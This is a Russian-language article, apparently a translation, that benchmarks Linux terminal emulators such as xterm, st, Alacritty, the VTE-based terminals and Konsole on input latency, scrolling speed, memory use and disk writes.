Некоторые из этих эффектов известны давно, а результаты исследования, опубликованного еще в 1976 году в журнале Ergonomics, говорят, что задержка в 100 миллисекунд «значительно ухудшает скорость набора». Совсем недавно в руководстве пользователя GNOME было внесено приемлемое время отклика в 10 миллисекунд, а если идти дальше, то Microsoft Research показывает, что идеалом является 1 миллисекунда.
Фатин проводил свои тесты на текстовых редакторах; он создал портативный инструмент под названием Typometer, который я использовал для проверки пинга в эмуляторах терминала. Имейте в виду, что тест проводился в режиме симуляции: в действительности нам надо учитывать и задержку ввода (клавиатура, USB-контроллер и так далее) и вывода (буфер видеокарты, монитор). По словам Фатина, в типичных конфигурациях она составляет около 20 ms. При наличии геймерского оборудования можно достигнуть показателя всего в 3 миллисекунды. Так как у нас уже есть такое быстрое оборудование, приложение не должно вносить еще и свою задержку. Цель Фатина —довести задержку приложения до 1 миллисекунды, или вовсе достигнуть набора без измеримой задержки, как в IntelliJ IDEA 15.
А вот результаты моих измерений, а также некоторые результаты Фатина для того, чтобы показать, что мой эксперимент согласуется с его тестами:
Первое, что меня поразило — это лучшее время отклика у старых программ, таких как xterm и mlterm. С наличием худшей задержки регистра (2,4 ms) они показали результат лучше, чем самый быстрый современный терминал (10,6 ms для st). Ни один современный терминал не опускается ниже порога в 10 миллисекунд. В частности, Alacritty не соответствует требованиям к «самому быстрому из существующих эмуляторов терминала», хотя его результаты улучшились с момента первой проверки в 2017 году. Действительно, авторы проекта в курсе ситуации и работают над улучшением отображения. Также необходимо отметить, что Vim, использующий GTK3, на порядок медленнее своего аналога GTK2. Из этого можно сделать вывод, что GTK3 создает дополнительную задержку, и это отражается на всех прочих терминалах, которые его используют (Terminator, Xfce4 Terminal и GNOME Terminal).
Однако для глаза отличия могут быть незаметны. Как объясняет Фатин: «не обязательно осознавать наличие задержки, чтобы она имела на вас эффект». Фатин также предупреждает о стандартном отклонении: «любые нарушения в длительности задержки (дрожание) создают дополнительную нагрузку из-за их непредсказуемости».
График выше взят получен на чистом Debian 9 (stretch) с i3 window manager. Эта среда дает наилучшие результаты в тестах на определение задержки. Как оказалось, GNOME создает дополнительный пинг в 20 ms для всех измерений. Возможное объяснение этому — наличие программ с синхронной обработкой входных событий. Фатин приводит для такого случая в пример Workrave, который добавляет задержку обрабатывая все input-события синхронно. По умолчанию GNOME также оснащен менеджером окон Mutter, которые создает дополнительный уровень буферизации, что влияет на пинг и добавляет минимум 8 миллисекунд задержки.
Скорость прокрутки
Следующий тест — это традиционная проверка «скорости» или «полосы пропускания», которая измеряет, как быстро терминал может прокручивать страницу, отображая большое количество текста на экране. Механика теста варьируется; оригинальный тест состоял в том, чтобы просто генерировать одну и ту же текстовую строку с помощью команды seq. Другие тесты включают в себя проверку Томаса Е. Дики (сопровождающего xterm), в рамках которого многократно выгружается файл terminfo.src. В еще одном обзоре производительности терминалов Ден Луу использует строку случайных байтов в кодировке base32, которая выводится в терминал с помощью cat. Луу считает такой тест «настолько бесполезным эталоном, насколько это можно себе представить» и предлагает использовать вместо этого отклик терминала в качестве основного показателя. Дики также называет свой тест вводящим в заблуждение. Тем не менее, оба автора признают, что пропускная способность окна терминала может быть проблемой. Луу обнаружил зависание Emacs Eshell при отображении больших файлов, а Дики оптимизировал терминал, чтобы избавиться от визуальной медлительности xtrerm. Поэтому в этом тесте все еще есть некоторый резон, но поскольку процесс рендеринга сильно отличается от терминала к терминалу, его можно использовать и как тестовый компонент для проверки других параметров.
Здесь мы видим, что rxvt и st вырываются вперед на фоне конкурентов, следом идет намного более новый Alacritty, разрабатываемый с упором на быстродействие. Далее идут Xfce (семейство VTE) и Konsole, которые работают почти вдвое быстрее. Последним идет xterm с показателем в пять раз медленнее rxvt. Во время теста xterm также сильно рябил, проходящий текст было трудно разглядеть, даже если это была одна и та же строка. Konsole оказался быстрым, но он временами «хитрил»: дисплей время от времени зависал, показывая текст частично или не отображая его вовсе. Другие терминалы отображали строки четко, включая st, Alacritty и rxvt.
Дики объясняет, что различия в производительности связаны с дизайном буферов прокрутки в разных терминалах. В частности, он обвиняет rxvt и другие терминалы в том, что они «не следуют общим правилам»:
«В отличие от xterm, rxvt не пытался отобразить все обновления. Если он отстает, он откажется от некоторых обновлений, чтобы наверстать упущенное. Это оказало большее влияние на мнимую скорость прокрутки, чем на организацию внутренней памяти. Один недостаток состоял в том, что анимация ASCII была несколько неточной».
Чтобы исправить эту кажущуюся медлительность xterm, Дики предлагает использовать ресурс fastScroll, позволяющий xterm отбрасывать некоторые обновления экрана, чтобы не отставать от потока. Мои тесты подтверждают, что fastScroll повышает производительность и выводит xterm на один уровень с rxvt. Это, однако, довольно грубый костыль, как объясняет сам Дики: «иногда xterm — как и konsole — кажется, останавливается, так как он ожидает нового набора обновлений экрана после того, как некоторые из них были удалены». В этом ключе кажется, что другие терминалы нашли наилучший компромисс между скоростью и целостностью дисплея.
Потребление ресурсов
Независимо от целесообразности рассмотрения скорости прокрутки в качестве показателя производительности, этот тест позволяет имитировать нагрузку на терминалы, что, в свою очередь, позволяет нам измерять другие параметры, такие как использование памяти или диска. Метрики были получены путем запуска указанного теста seq под мониторингом процесса Python. Он собирал данные счетчиков getrusage () для ru_maxrss, сумму ru_oublock и ru_inblock и простой таймер времени.
В этом тесте ST занимает первое место с наименьшим средним потребляемым объемом памяти в 8 МБ, что неудивительно, если учесть, что основная идея проекта — это простота. Немного больше потребляет mlterm, xterm и rxvt — около 12 МБ. Еще один заметный результат у Alacritty, которому для работы требуется 30 МБ. Затем идут терминалы семейства VTE с показателями от 40 до 60 МБ, что достаточно много. Подобное потребление можно объяснить тем, что эти терминалы используют библиотеки более высокого уровня, например, GTK. Konsole идет последним с колоссальным потреблением 65 МБ памяти во время тестов, хотя и это можно оправдать его весьма широким набором функций.
По сравнению с предыдущими результатами, полученными десять лет назад, все программы стали потреблять заметно больше памяти. Раньше Xterm требовал 4 МБ, а теперь — 15 МБ просто на запуске. Аналогичное увеличение потребления есть и у rxvt, который теперь из коробки требует 16 МБ. Терминал Xfce занимает 34 МБ, что в три раза больше, чем раньше, а вот GNOME Terminal требует всего 20 МБ. Конечно, все предыдущие тесты проводились на 32-битной архитектуре. На LCA 2012 Расти Рассел рассказал, что есть множество более тонких причин, которые могут объяснить рост потребления памяти. При всем этом сейчас мы живем во времена, когда у нас есть целые гигабайты памяти, так что как-нибудь справимся.
Тем не менее, я не могу избавиться от ощущения, что выделение большего количества памяти на такое фундаментальное ПО, как терминал, — это пустая трата ресурсов. Эти программы должны быть наименьшими из самых маленьких, должны быть способны работать на любой «коробке», даже обувной, если мы когда-нибудь придем к тому, что их надо будет оснащать Linux-системами (а вы знаете, что так оно и будет). Но с этими цифрами использование памяти станет в будущем проблемой в любой среде при запуске нескольких терминалов, кроме ситуации с несколькими самыми легкими и ограниченными в возможностях. Чтобы компенсировать это, GNOME Terminal, Konsole, urxvt, Terminator и Xfce Terminal имеют Daemon-режим, который позволяет управлять несколькими терминалами через один процесс, что ограничивает их потребление памяти.
В ходе своих тестов я пришел к еще одному неожиданному результату касательно дискового чтения-записи: я ожидал вообще ничего тут не увидеть, но оказалось, что некоторые терминалы записывают самые объемные данные на диск. Так, библиотека VTE фактически держит на диске буфер скролла (эта особенность была замечена еще в 2010 году, и это происходит до сих пор). Но в отличие от старых реализация, сейчас, по крайне мере, эти данные зашифрованы с помощью AES256 GCM (с версии 0.39.2). Но возникает резонный вопрос, что же такого особенного в библиотеке VTE, что она требует такого нестандартного подхода к реализации…
Заключение
В первой части статьи мы обнаружили, что терминалы на основе VTE имеют хороший набор функций, но теперь мы видим, что это связано с некоторыми затратами на обеспечение их производительности. Сейчас память не является проблемой, потому что всеми VTE-терминалы можно управлять через Daemon-процесс, который ограничивает их аппетит. Тем не менее, старые системы, имеющие физические ограничения по количеству оперативной памяти и буфера ядра, могут по-прежнему нуждаться в более ранних версиях терминалов, так как они потребляют значительно меньше ресурсов. Хотя терминалы VTE показали себя хорошо в тестах на пропускную способность (прокрутка), их задержка отображения данных на дисплее выше установленного порога в руководстве пользователя GNOME. Вероятно, разработчикам VTE стоит это учесть. Если принять в расчет то, что даже для начинающих пользователей Linux встреча с терминалом неизбежна, они могут сделать его более дружелюбным по отношению к юзеру. Для опытных гиков переход с терминала по умолчанию может означать даже снижение нагрузки на зрение и возможность избежать профессиональных травм и заболеваний в будущем из-за продолжительных рабочих сессий. К сожалению, только старые xterm и mlterm подводят нас к волшебному порогу пинга в 10 миллисекунд, что для многих неприемлемо.
Контрольные измерения также показали, что из-за развития графических сред Linux разработчикам пришлось пойти на ряд компромиссов. Некоторым пользователям стоит взглянуть на обычные оконные менеджеры, так как они обеспечивают значительное снижение пинга. К сожалению, для Wayland измерить задержку не получилось: программа Typometer, которой я пользовался, была создана для того, что Wayland призван предотвращать — шпионаж за другими окнами. Я надеюсь, что композитинг Wayland по производительности лучше, чем X.org, а также надеюсь и на то, что в будущем кто-нибудь найдет способ оценить уровень задержки в этой среде.
